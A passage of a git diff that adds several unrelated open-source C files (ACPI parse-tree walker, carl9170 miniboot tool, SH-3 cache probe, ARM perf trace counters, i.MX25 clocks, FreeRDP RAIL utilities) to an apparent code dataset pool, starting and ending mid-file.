DBUG_ENTER("my_free"); + DBUG_PRINT("my",("ptr: %lx",ptr)); + if (ptr) + free(ptr); + DBUG_VOID_RETURN; +} /* my_free */ + + + /* malloc and copy */ + +gptr my_memdup(const unsigned char *from, size_t length, myf MyFlags) +{ + gptr ptr; + if ((ptr=my_malloc(length,MyFlags)) != 0) + memcpy((unsigned char*) ptr, (unsigned char*) from,(size_t) length); + return(ptr); +} + + +my_string my_strdup(const char *from, myf MyFlags) +{ + gptr ptr; + uint length; + + if ((MyFlags & MY_ALLOW_ZERO_PTR) && !from) + return NULL; + + length=(uint) strlen(from)+1; + if ((ptr=my_malloc(length,MyFlags)) != 0) + memcpy((unsigned char*) ptr, (unsigned char*) from,(size_t) length); + return((my_string) ptr); +} + +my_string my_strndup(const char *src, size_t length, myf MyFlags) +{ + gptr ptr; + + if ((ptr= my_malloc(length+1, MyFlags))) { + memcpy(ptr, src, length); + ptr[length] = 0; + } + return ptr; +} +/* }}} */ diff --git a/pool/shard011/C/0142268_pswalk.c b/pool/shard011/C/0142268_pswalk.c new file mode 100644 index 0000000000000000000000000000000000000000..cf91841297c2649561be04673b80c09d859e2a07 --- /dev/null +++ b/pool/shard011/C/0142268_pswalk.c @@ -0,0 +1,105 @@ +// SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0 +/****************************************************************************** + * + * Module Name: pswalk - Parser routines to walk parsed op tree(s) + * + * Copyright (C) 2000 - 2019, Intel Corp. + * + *****************************************************************************/ + +#include +#include "accommon.h" +#include "acparser.h" + +#define _COMPONENT ACPI_PARSER +ACPI_MODULE_NAME("pswalk") + +/******************************************************************************* + * + * FUNCTION: acpi_ps_delete_parse_tree + * + * PARAMETERS: subtree_root - Root of tree (or subtree) to delete + * + * RETURN: None + * + * DESCRIPTION: Delete a portion of or an entire parse tree. + * + ******************************************************************************/ +#include "amlcode.h" +void acpi_ps_delete_parse_tree(union acpi_parse_object *subtree_root) +{ + union acpi_parse_object *op = subtree_root; + union acpi_parse_object *next = NULL; + union acpi_parse_object *parent = NULL; + u32 level = 0; + + ACPI_FUNCTION_TRACE_PTR(ps_delete_parse_tree, subtree_root); + + ACPI_DEBUG_PRINT((ACPI_DB_PARSE_TREES, " root %p\n", subtree_root)); + + /* Visit all nodes in the subtree */ + + while (op) { + if (op != parent) { + + /* This is the descending case */ + + if (ACPI_IS_DEBUG_ENABLED + (ACPI_LV_PARSE_TREES, _COMPONENT)) { + + /* This debug option will print the entire parse tree */ + + acpi_os_printf(" %*.s%s %p", (level * 4), + " ", + acpi_ps_get_opcode_name(op-> + common. + aml_opcode), + op); + + if (op->named.aml_opcode == AML_INT_NAMEPATH_OP) { + acpi_os_printf(" %4.4s", + op->common.value.string); + } + if (op->named.aml_opcode == AML_STRING_OP) { + acpi_os_printf(" %s", + op->common.value.string); + } + acpi_os_printf("\n"); + } + + /* Look for an argument or child of the current op */ + + next = acpi_ps_get_arg(op, 0); + if (next) { + + /* Still going downward in tree (Op is not completed yet) */ + + op = next; + level++; + continue; + } + } + + /* No more children, this Op is complete. */ + + next = op->common.next; + parent = op->common.parent; + + acpi_ps_free_op(op); + + /* If we are back to the starting point, the walk is complete. */ + + if (op == subtree_root) { + return_VOID; + } + + if (next) { + op = next; + } else { + level--; + op = parent; + } + } + + return_VOID; +} diff --git a/pool/shard011/C/0142269_program.c b/pool/shard011/C/0142269_program.c new file mode 100644 index 0000000000000000000000000000000000000000..5db11682229d79c83a670a5a92d118aeb296ff04 --- /dev/null +++ b/pool/shard011/C/0142269_program.c @@ -0,0 +1,94 @@ +#include "std.h" +#include "config.h" +#include "lpc_incl.h" +#include "program.h" +#include "swap.h" + +int total_num_prog_blocks, total_prog_block_size; + +void reference_prog P2(struct program *, progp, char *, from) +{ + progp->p.i.ref++; +#ifdef DEBUG + if (d_flag) + printf("reference_prog: %s ref %d (%s)\n", + progp->name, progp->p.i.ref, from); +#endif +} + +void deallocate_program P1(struct program *, progp) +{ + int i; + +#ifdef DEBUG + if (d_flag) + printf("free_prog: %s\n", progp->name); +#endif + + total_prog_block_size -= progp->p.i.total_size; + total_num_prog_blocks -= 1; + + /* Free all function names. */ + for (i = 0; i < (int) progp->p.i.num_functions; i++) + if (progp->p.i.functions[i].name) + free_string(progp->p.i.functions[i].name); + /* Free all strings */ + for (i = 0; i < (int) progp->p.i.num_strings; i++) + free_string(progp->p.i.strings[i]); + /* Free all variable names */ + for (i = 0; i < (int) progp->p.i.num_variables; i++) + free_string(progp->p.i.variable_names[i].name); + /* Free all inherited objects */ + for (i = 0; i < (int) progp->p.i.num_inherited; i++) + free_prog(progp->p.i.inherit[i].prog, 1); + free_string(progp->name); + + /* + * We're going away for good, not just being swapped, so free up + * line_number stuff. + */ + if (progp->p.i.line_swap_index != -1) + remove_line_swap(progp); + if (progp->p.i.file_info) + FREE(progp->p.i.file_info); + +#ifdef LPC_TO_C + /* + * more stuff for compiled objects; will swapping a compiled object + * crash? -Beek + */ + if (!progp->p.i.program_size) + FREE(progp->p.i.program); +#endif + FREE((char *) progp); +} + +/* + * Decrement reference count for a program. If it is 0, then free the prgram. + * The flag free_sub_strings tells if the propgram plus all used strings + * should be freed. They normally are, except when objects are swapped, + * as we want to be able to read the program in again from the swap area. + * That means that strings are not swapped. + */ +void free_prog P2(struct program *, progp, int, free_sub_strings) +{ + progp->p.i.ref--; + if (progp->p.i.ref > 0) + return; + if (progp->p.i.func_ref > 0) + return; + +#ifdef DEBUG + if (progp->p.i.ref < 0) + fatal("Negative ref count for prog ref.\n"); +#endif + + if (free_sub_strings) + deallocate_program(progp); + else { + total_prog_block_size -= progp->p.i.total_size; + total_num_prog_blocks -= 1; + FREE((char *) progp); + } +} + diff --git a/pool/shard011/C/0142270_miniboot.c b/pool/shard011/C/0142270_miniboot.c new file mode 100644 index 0000000000000000000000000000000000000000..509d82d547230e707fb6941fc15a5a0e0ce772e5 --- /dev/null +++ b/pool/shard011/C/0142270_miniboot.c @@ -0,0 +1,200 @@ +/* + * Copyright 2010-2011 Christian Lamparter + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "carlfw.h" + +#include "compiler.h" + +static void mini_help(void) +{ + fprintf(stderr, "Usage:\n"); + fprintf(stderr, "\tminiboot ACTION FW-FILE [MB-FILE]\n"); + + fprintf(stderr, "\nDescription:\n"); + fprintf(stderr, "\tFirmware concatenation utility.\n"); + + fprintf(stderr, "\nParameteres:\n"); + fprintf(stderr, "\t'ACTION' = [a|d]\n"); + fprintf(stderr, "\t | 'a' = Add miniboot firmware.\n"); + fprintf(stderr, "\t * 'd' = remove miniboot firmware.\n"); + fprintf(stderr, "\t'FW-FILE' = destination for the package.\n"); + fprintf(stderr, "\t'MB-FILE' = extra firmware image.\n"); +} + +static int add_mini(struct carlfw *fw, const char *mini) +{ + struct stat file_stat; + struct carl9170fw_otus_desc *otus_desc = NULL; + FILE *m = NULL; + char *buf = NULL; + size_t extra; + int err; + + m = fopen(mini, "r"); + if (m == NULL) { + fprintf(stderr, "Failed to open file %s (%d).\n", + mini, errno); + err = -errno; + goto fail; + } + + err = fstat(fileno(m), &file_stat); + if (err) { + fprintf(stderr, "Failed to query file infos from " + "\"%s\" (%d).\n", mini, errno); + err = -errno; + goto fail; + } + extra = file_stat.st_size; + + otus_desc = carlfw_find_desc(fw, (uint8_t *) OTUS_MAGIC, + sizeof(*otus_desc), + CARL9170FW_OTUS_DESC_CUR_VER); + if (!otus_desc) { + fprintf(stderr, "No OTUS descriptor found\n"); + goto fail; + } + + if (carl9170fw_supports(otus_desc->feature_set, CARL9170FW_MINIBOOT)) { + fprintf(stderr, "Firmware has already a miniboot image.\n"); + goto fail; + } + + otus_desc->feature_set |= cpu_to_le32(BIT(CARL9170FW_MINIBOOT)); + otus_desc->miniboot_size = cpu_to_le16(extra); + + buf = carlfw_mod_headroom(fw, extra); + if (IS_ERR_OR_NULL(buf)) { + fprintf(stderr, "Unable to add miniboot image.\n"); + goto fail; + } + + err = fread(buf, extra, 1, m); + if (err != 1) { + fprintf(stderr, "Unable to load miniboot.\n"); + goto fail; + } + + carlfw_store(fw); + fclose(m); + + return 0; + +fail: + if (m) + fclose(m); + + return err; +} + +static int del_mini(struct carlfw *fw) +{ + struct carl9170fw_otus_desc *otus_desc = NULL; + void *buf; + int cut; + + otus_desc = carlfw_find_desc(fw, (uint8_t *) OTUS_MAGIC, + sizeof(*otus_desc), + CARL9170FW_OTUS_DESC_CUR_VER); + if (!otus_desc) { + fprintf(stderr, "Firmware is not for USB devices.\n"); + return -ENODATA; + } + + if (!carl9170fw_supports(otus_desc->feature_set, CARL9170FW_MINIBOOT)) { + fprintf(stderr, "Firmware has no miniboot image.\n"); + return -EINVAL; + } + + cut = le16_to_cpu(otus_desc->miniboot_size); + + buf = carlfw_mod_headroom(fw, -cut); + if (IS_ERR_OR_NULL(buf)) { + fprintf(stderr, "Unable to remove miniboot.\n"); + return PTR_ERR(buf); + } + + otus_desc->feature_set &= cpu_to_le32(~BIT(CARL9170FW_MINIBOOT)); + otus_desc->miniboot_size = cpu_to_le16(0); + + carlfw_store(fw); + return 0; +} + +int main(int argc, char *args[]) +{ + struct carlfw *fw = NULL; + int err; + + if (argc < 3 || argc > 4) { + err = -EINVAL; + goto err_param; + } + + switch (args[1][0]) { + case 'a': + if (argc != 4) + goto err_param; + + fw = carlfw_load(args[2]); + if (IS_ERR_OR_NULL(fw)) { + err = PTR_ERR(fw); + goto err_out; + } + + err = add_mini(fw, args[3]); + break; + case 'd': + if (argc != 3) + goto err_param; + + fw = carlfw_load(args[2]); + if (IS_ERR_OR_NULL(fw)) { + err = PTR_ERR(fw); + goto err_out; + } + + err = del_mini(fw); + break; + + default: + goto err_param; + break; + } + + carlfw_release(fw); + return EXIT_SUCCESS; + +err_out: + carlfw_release(fw); + fprintf(stderr, "miniboot action failed (%d).\n", err); + return EXIT_FAILURE; + +err_param: + carlfw_release(fw); + mini_help(); + return EXIT_FAILURE; +} diff --git a/pool/shard011/C/0142271_probe.c b/pool/shard011/C/0142271_probe.c new file mode 100644 index 0000000000000000000000000000000000000000..f9c7df64eb010ed7dc5e80b26d2ee635e41cd56c --- /dev/null +++ b/pool/shard011/C/0142271_probe.c @@ -0,0 +1,113 @@ +/* + * arch/sh/kernel/cpu/sh3/probe.c + * + * CPU Subtype Probing for SH-3. + * + * Copyright (C) 1999, 2000 Niibe Yutaka + * Copyright (C) 2002 Paul Mundt + * + * This file is subject to the terms and conditions of the GNU General Public + * License. See the file "COPYING" in the main directory of this archive + * for more details. + */ + +#include +#include +#include +#include + +int __uses_jump_to_uncached detect_cpu_and_cache_system(void) +{ + unsigned long addr0, addr1, data0, data1, data2, data3; + + jump_to_uncached(); + /* + * Check if the entry shadows or not. + * When shadowed, it's 128-entry system. + * Otherwise, it's 256-entry system. + */ + addr0 = CACHE_OC_ADDRESS_ARRAY + (3 << 12); + addr1 = CACHE_OC_ADDRESS_ARRAY + (1 << 12); + + /* First, write back & invalidate */ + data0 = ctrl_inl(addr0); + ctrl_outl(data0&~(SH_CACHE_VALID|SH_CACHE_UPDATED), addr0); + data1 = ctrl_inl(addr1); + ctrl_outl(data1&~(SH_CACHE_VALID|SH_CACHE_UPDATED), addr1); + + /* Next, check if there's shadow or not */ + data0 = ctrl_inl(addr0); + data0 ^= SH_CACHE_VALID; + ctrl_outl(data0, addr0); + data1 = ctrl_inl(addr1); + data2 = data1 ^ SH_CACHE_VALID; + ctrl_outl(data2, addr1); + data3 = ctrl_inl(addr0); + + /* Lastly, invaliate them. */ + ctrl_outl(data0&~SH_CACHE_VALID, addr0); + ctrl_outl(data2&~SH_CACHE_VALID, addr1); + + back_to_cached(); + + boot_cpu_data.dcache.ways = 4; + boot_cpu_data.dcache.entry_shift = 4; + boot_cpu_data.dcache.linesz = L1_CACHE_BYTES; + boot_cpu_data.dcache.flags = 0; + + /* + * 7709A/7729 has 16K cache (256-entry), while 7702 has only + * 2K(direct) 7702 is not supported (yet) + */ + if (data0 == data1 && data2 == data3) { /* Shadow */ + boot_cpu_data.dcache.way_incr = (1 << 11); + boot_cpu_data.dcache.entry_mask = 0x7f0; + boot_cpu_data.dcache.sets = 128; + boot_cpu_data.type = CPU_SH7708; + + boot_cpu_data.flags |= CPU_HAS_MMU_PAGE_ASSOC; + } else { /* 7709A or 7729 */ + boot_cpu_data.dcache.way_incr = (1 << 12); + boot_cpu_data.dcache.entry_mask = 0xff0; + boot_cpu_data.dcache.sets = 256; + boot_cpu_data.type = CPU_SH7729; + +#if defined(CONFIG_CPU_SUBTYPE_SH7706) + boot_cpu_data.type = CPU_SH7706; +#endif +#if defined(CONFIG_CPU_SUBTYPE_SH7710) + boot_cpu_data.type = CPU_SH7710; +#endif +#if defined(CONFIG_CPU_SUBTYPE_SH7712) + boot_cpu_data.type = CPU_SH7712; +#endif +#if defined(CONFIG_CPU_SUBTYPE_SH7720) + boot_cpu_data.type = CPU_SH7720; +#endif +#if defined(CONFIG_CPU_SUBTYPE_SH7721) + boot_cpu_data.type = CPU_SH7721; +#endif +#if defined(CONFIG_CPU_SUBTYPE_SH7705) + boot_cpu_data.type = CPU_SH7705; + +#if defined(CONFIG_SH7705_CACHE_32KB) + boot_cpu_data.dcache.way_incr = (1 << 13); + boot_cpu_data.dcache.entry_mask = 0x1ff0; + boot_cpu_data.dcache.sets = 512; + ctrl_outl(CCR_CACHE_32KB, CCR3_REG); +#else + ctrl_outl(CCR_CACHE_16KB, CCR3_REG); +#endif +#endif + } + + /* + * SH-3 doesn't have separate caches + */ + boot_cpu_data.dcache.flags |= SH_CACHE_COMBINED; + boot_cpu_data.icache = boot_cpu_data.dcache; + + boot_cpu_data.family = CPU_FAMILY_SH3; + + return 0; +} diff --git a/pool/shard011/C/0142272_perf_trace_counters.c b/pool/shard011/C/0142272_perf_trace_counters.c new file mode 100644 index 0000000000000000000000000000000000000000..8eb124454cb4f07c826bfdf271e8d146d2e88383 --- /dev/null +++ b/pool/shard011/C/0142272_perf_trace_counters.c @@ -0,0 +1,184 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#include +#include +#include +#define CREATE_TRACE_POINTS +#include "perf_trace_counters.h" + +static unsigned int tp_pid_state; + +DEFINE_PER_CPU(u32, previous_ccnt); +DEFINE_PER_CPU(u32[NUM_L1_CTRS], previous_l1_cnts); +DEFINE_PER_CPU(u32[NUM_L2_PERCPU], previous_l2_cnts); +DEFINE_PER_CPU(u32, old_pid); +DEFINE_PER_CPU(u32, hotplug_flag); +/* Reset per_cpu variables that store counter values uppn CPU hotplug */ +static int tracectr_cpu_hotplug_notifier(struct notifier_block *self, + unsigned long action, void *hcpu) +{ + int ret = NOTIFY_OK; + int cpu = (int)hcpu; + + if ((action & (~CPU_TASKS_FROZEN)) == CPU_STARTING) + per_cpu(hotplug_flag, cpu) = 1; + + return ret; +} + +static struct notifier_block tracectr_cpu_hotplug_notifier_block = { + .notifier_call = tracectr_cpu_hotplug_notifier, +}; + +static void setup_prev_cnts(u32 cpu) +{ + int i; + u32 cnten_val; + + /* Read PMCNTENSET */ + asm volatile("mrc p15, 0, %0, c9, c12, 1" : "=r"(cnten_val)); + /* Disable all the counters that were enabled */ + asm volatile("mcr p15, 0, %0, c9, c12, 2" : : "r"(cnten_val)); + if (cnten_val & CC) { + /* Read value */ + asm volatile("mrc p15, 0, %0, c9, c13, 0" + : "=r"(per_cpu(previous_ccnt, cpu))); + } + + for (i = 0; i < NUM_L1_CTRS; i++) { + if (cnten_val & (1 << i)) { + /* Select */ + asm volatile("mcr p15, 0, %0, c9, c12, 5" + : : "r"(i)); + /* Read value */ + asm volatile("mrc p15, 0, %0, c9, c13, 2" + : "=r"(per_cpu(previous_l1_cnts[i], cpu))); + } + } + /* Enable all the counters that were disabled */ + asm volatile("mcr p15, 0, %0, c9, c12, 1" : : "r"(cnten_val)); +} + +static int tracectr_notifier(struct notifier_block *self, unsigned long cmd, + void *v) +{ + struct thread_info *thread = v; + int current_pid; + u32 cpu = thread->cpu; + + if (cmd != THREAD_NOTIFY_SWITCH) + return -EFAULT; + + current_pid = thread->task->pid; + if (per_cpu(old_pid, cpu) != -1) { + if (per_cpu(hotplug_flag, cpu) == 1) { + per_cpu(hotplug_flag, cpu) = 0; + setup_prev_cnts(cpu); + } else + trace_sched_switch_with_ctrs(per_cpu(old_pid, cpu), + current_pid); + } + per_cpu(old_pid, cpu) = current_pid; + return NOTIFY_OK; +} + +static struct notifier_block tracectr_notifier_block = { + .notifier_call = tracectr_notifier, +}; + +static void enable_tp_pid(void) +{ + if (tp_pid_state == 0) { + tp_pid_state = 1; + thread_register_notifier(&tracectr_notifier_block); + } +} + +static void disable_tp_pid(void) +{ + if (tp_pid_state == 1) { + tp_pid_state = 0; + thread_unregister_notifier(&tracectr_notifier_block); + } +} + +static ssize_t read_enabled_perftp_file_bool(struct file *file, + char __user *user_buf, size_t count, loff_t *ppos) +{ + char buf[2]; + buf[1] = '\n'; + if (tp_pid_state == 0) + buf[0] = '0'; + else + buf[0] = '1'; + return simple_read_from_buffer(user_buf, count, ppos, buf, 2); +} + +static ssize_t write_enabled_perftp_file_bool(struct file *file, + const char __user *user_buf, size_t count, loff_t *ppos) +{ + char buf[32]; + size_t buf_size; + + buf_size = min(count, (sizeof(buf)-1)); + if (copy_from_user(buf, user_buf, buf_size)) + return -EFAULT; + switch (buf[0]) { + case 'y': + case 'Y': + case '1': + enable_tp_pid(); + break; + case 'n': + case 'N': + case '0': + disable_tp_pid(); + break; + } + + return count; +} + +static const struct file_operations fops_perftp = { + .read = read_enabled_perftp_file_bool, + .write = write_enabled_perftp_file_bool, + .llseek = default_llseek, +}; + +int __init init_tracecounters(void) +{ + struct dentry *dir; + struct dentry *file; + unsigned int value = 1; + int cpu; + + dir = debugfs_create_dir("perf_debug_tp", NULL); + if (!dir) + return -ENOMEM; + file = debugfs_create_file("enabled", 0660, dir, + &value, &fops_perftp); + if (!file) { + debugfs_remove(dir); + return -ENOMEM; + } + register_cpu_notifier(&tracectr_cpu_hotplug_notifier_block); + for_each_possible_cpu(cpu) + per_cpu(old_pid, cpu) = -1; + return 0; +} + +int __exit exit_tracecounters(void) +{ + unregister_cpu_notifier(&tracectr_cpu_hotplug_notifier_block); + return 0; +} +late_initcall(init_tracecounters); diff --git a/pool/shard011/C/0142273_generic.c b/pool/shard011/C/0142273_generic.c new file mode 100644 index 0000000000000000000000000000000000000000..4b8775db880a7a2456d636579b043bc5fcd1b77d --- /dev/null +++ b/pool/shard011/C/0142273_generic.c @@ -0,0 +1,136 @@ +/* + * (C) Copyright 2007 + * Sascha Hauer, Pengutronix + * + * (C) Copyright 2009-2010 Freescale Semiconductor + * + * See file CREDITS for list of people who contributed to this + * project. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, + * MA 02111-1307 USA + */ + +#include +#include +#include + +static u32 mx25_decode_pll(u32 reg) +{ + u32 mfi = (reg >> 10) & 0xf; + u32 mfn = reg & 0x3ff; + u32 mfd = (reg >> 16) & 0x3ff; + u32 pd = (reg >> 26) & 0xf; + + u32 ref_clk = PLL_REF_CLK; + + mfi = mfi <= 5 ? 5 : mfi; + mfd += 1; + pd += 1; + + return ((2 * (ref_clk >> 10) * (mfi * mfd + mfn)) / + (mfd * pd)) << 10; +} + +static u32 mx25_get_mcu_main_clk(void) +{ + u32 cctl = __REG(CCM_CCTL); + u32 ret_val = mx25_decode_pll(__REG(CCM_MPCTL)); + + if (cctl & CRM_CCTL_ARM_SRC) { + ret_val *= 3; + ret_val /= 4; + } + + return ret_val; +} + +static u32 mx25_get_ahb_clk(void) +{ + u32 cctl = __REG(CCM_CCTL); + u32 ahb_div = ((cctl >> CRM_CCTL_AHB_OFFSET) & 3) + 1; + + return mx25_get_mcu_main_clk()/ahb_div; +} + +unsigned int mx25_get_ipg_clk(void) +{ + return mx25_get_ahb_clk()/2; +} + +unsigned int mx25_get_cspi_clk(void) +{ + return mx25_get_ipg_clk(); +} + +void mx25_dump_clocks(void) +{ + u32 cpufreq = mx25_get_mcu_main_clk(); + printf("mx25 cpu clock: %dMHz\n", cpufreq / 1000000); + printf("ipg clock : %dHz\n", mx25_get_ipg_clk()); +} + +unsigned int mxc_get_clock(enum mxc_clock clk) +{ + switch (clk) { + case MXC_ARM_CLK: + return mx25_get_mcu_main_clk(); + case MXC_AHB_CLK: + return mx25_get_ahb_clk(); + break; + case MXC_IPG_PERCLK: + case MXC_IPG_CLK: + return mx25_get_ipg_clk(); + case MXC_CSPI_CLK: + return mx25_get_cspi_clk(); + case MXC_UART_CLK: + break; + case MXC_ESDHC_CLK: + return mx25_get_ipg_clk(); + break; + } + return -1; +} + +#if defined(CONFIG_DISPLAY_CPUINFO) +int print_cpuinfo(void) +{ + printf("CPU: Freescale i.MX25 at %d MHz\n", + mx25_get_mcu_main_clk() / 1000000); + mx25_dump_clocks(); + return 0; +} +#endif + +#if defined(CONFIG_MXC_FEC) +extern int mxc_fec_initialize(bd_t *bis); +extern void mxc_fec_set_mac_from_env(char *mac_addr); +#endif + +/* + * Initializes on-chip ethernet controllers. + * to override, implement board_eth_init() + */ +int cpu_eth_init(bd_t *bis) +{ + int rc = -ENODEV; + +#if defined(CONFIG_MXC_FEC) + rc = mxc_fec_initialize(bis); +#endif + + return rc; +} + diff --git a/pool/shard011/C/0142274_rail.c b/pool/shard011/C/0142274_rail.c new file mode 100644 index 0000000000000000000000000000000000000000..4dd87e40db8bb05d03384a73beabcde45d7913a2 --- /dev/null +++ b/pool/shard011/C/0142274_rail.c @@ -0,0 +1,193 @@ +/** + * FreeRDP: A Remote Desktop Protocol Implementation + * Remote Applications Integrated Locally (RAIL) Utils + * + * Copyright 2011 Marc-Andre Moreau + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include + +#include + +#include +#include + +#include + +void rail_unicode_string_alloc(RAIL_UNICODE_STRING* unicode_string, UINT16 cbString) +{ + unicode_string->length = cbString; + unicode_string->string = malloc(cbString); + memset(unicode_string->string, 0, cbString); +} + +void rail_unicode_string_free(RAIL_UNICODE_STRING* unicode_string) +{ + unicode_string->length = 0; + + if (unicode_string->string != NULL) + free(unicode_string->string); +} + +void rail_read_unicode_string(STREAM* s, RAIL_UNICODE_STRING* unicode_string) +{ + stream_read_UINT16(s, unicode_string->length); /* cbString (2 bytes) */ + + if (unicode_string->string == NULL) + unicode_string->string = (BYTE*) malloc(unicode_string->length); + else + unicode_string->string = (BYTE*) realloc(unicode_string->string, unicode_string->length); + + stream_read(s, unicode_string->string, unicode_string->length); +} + +void rail_write_unicode_string(STREAM* s, RAIL_UNICODE_STRING* unicode_string) +{ + stream_check_size(s, 2 + unicode_string->length); + stream_write_UINT16(s, unicode_string->length); /* cbString (2 bytes) */ + stream_write(s, unicode_string->string, unicode_string->length); /* string */ +} + +void rail_write_unicode_string_value(STREAM* s, RAIL_UNICODE_STRING* unicode_string) +{ + if (unicode_string->length > 0) + { + stream_check_size(s, unicode_string->length); + stream_write(s, unicode_string->string, unicode_string->length); /* string */ + } +} + +void rail_read_rectangle_16(STREAM* s, RECTANGLE_16* rectangle_16) +{ + stream_read_UINT16(s, rectangle_16->left); /* left (2 bytes) */ + stream_read_UINT16(s, rectangle_16->top); /* top (2 bytes) */ + stream_read_UINT16(s, rectangle_16->right); /* right (2 bytes) */ + stream_read_UINT16(s, rectangle_16->bottom); /* bottom (2 bytes) */ +} + +void rail_write_rectangle_16(STREAM* s, RECTANGLE_16* rectangle_16) +{ + stream_write_UINT16(s, rectangle_16->left); /* left (2 bytes) */ + stream_write_UINT16(s, rectangle_16->top); /* top (2 bytes) */ + stream_write_UINT16(s, rectangle_16->right); /* right (2 bytes) */ + stream_write_UINT16(s, rectangle_16->bottom); /* bottom (2 bytes) */ +} + +void* rail_clone_order(UINT32 event_type, void* order) +{ + struct + { + UINT32 type; + UINT32 size; + } ordersize_table[] = + { + {RDP_EVENT_TYPE_RAIL_CHANNEL_GET_SYSPARAMS, sizeof(RAIL_SYSPARAM_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CHANNEL_EXEC_RESULTS, sizeof(RAIL_EXEC_RESULT_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CHANNEL_SERVER_SYSPARAM, sizeof(RAIL_SYSPARAM_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CHANNEL_SERVER_MINMAXINFO, sizeof(RAIL_MINMAXINFO_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CHANNEL_SERVER_LOCALMOVESIZE, sizeof(RAIL_LOCALMOVESIZE_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CHANNEL_APPID_RESP, sizeof(RAIL_GET_APPID_RESP_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CHANNEL_LANGBARINFO, sizeof(RAIL_LANGBAR_INFO_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_SET_SYSPARAMS, sizeof(RAIL_SYSPARAM_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_EXEC_REMOTE_APP, sizeof(RDP_PLUGIN_DATA)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_ACTIVATE, sizeof(RAIL_ACTIVATE_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_SYSMENU, sizeof(RAIL_SYSMENU_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_SYSCOMMAND, sizeof(RAIL_SYSCOMMAND_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_NOTIFY_EVENT, sizeof(RAIL_NOTIFY_EVENT_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_WINDOW_MOVE, sizeof(RAIL_WINDOW_MOVE_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_APPID_REQ, sizeof(RAIL_GET_APPID_REQ_ORDER)}, + {RDP_EVENT_TYPE_RAIL_CLIENT_LANGBARINFO, sizeof(RAIL_LANGBAR_INFO_ORDER)}, + }; + size_t i = 0; + size_t order_size = 0; + void* new_order = NULL; + + for (i = 0; i < ARRAYSIZE(ordersize_table); i++) + { + if (event_type == ordersize_table[i].type) + { + order_size = ordersize_table[i].size; + break; + } + } + + // Event type not found. + if (order_size == 0) return NULL; + + new_order = malloc(order_size); + memcpy(new_order, order, order_size); + + //printf("rail_clone_order: type=%d order=%p\n", event_type, new_order); + + // Create copy of variable data for some orders + if ((event_type == RDP_EVENT_TYPE_RAIL_CHANNEL_GET_SYSPARAMS) || + (event_type == RDP_EVENT_TYPE_RAIL_CLIENT_SET_SYSPARAMS)) + { + RAIL_SYSPARAM_ORDER* new_sysparam = (RAIL_SYSPARAM_ORDER*)new_order; + RAIL_SYSPARAM_ORDER* old_sysparam = (RAIL_SYSPARAM_ORDER*)order; + + rail_unicode_string_alloc(&new_sysparam->highContrast.colorScheme, + old_sysparam->highContrast.colorScheme.length); + + memcpy(new_sysparam->highContrast.colorScheme.string, + old_sysparam->highContrast.colorScheme.string, + old_sysparam->highContrast.colorScheme.length); + } + + if (event_type == RDP_EVENT_TYPE_RAIL_CHANNEL_EXEC_RESULTS) + { + RAIL_EXEC_RESULT_ORDER* new_exec_result = (RAIL_EXEC_RESULT_ORDER*)new_order; + RAIL_EXEC_RESULT_ORDER* old_exec_result = (RAIL_EXEC_RESULT_ORDER*)order; + + rail_unicode_string_alloc(&new_exec_result->exeOrFile, + old_exec_result->exeOrFile.length); + + memcpy(new_exec_result->exeOrFile.string, + old_exec_result->exeOrFile.string, + old_exec_result->exeOrFile.length); + } + + if (event_type == RDP_EVENT_TYPE_RAIL_CHANNEL_APPID_RESP) + { + RAIL_GET_APPID_RESP_ORDER* new_app_resp = (RAIL_GET_APPID_RESP_ORDER*)new_order; + + new_app_resp->applicationId.string = &new_app_resp->applicationIdBuffer[0]; + } + + return new_order; +} + +void rail_free_cloned_order(UINT32 event_type, void* order) +{ + //printf("rail_free_cloned_order: type=%d order=%p\n", event_type, order); + if ((event_type == RDP_EVENT_TYPE_RAIL_CHANNEL_GET_SYSPARAMS) || + (event_type == RDP_EVENT_TYPE_RAIL_CLIENT_SET_SYSPARAMS)) + { + 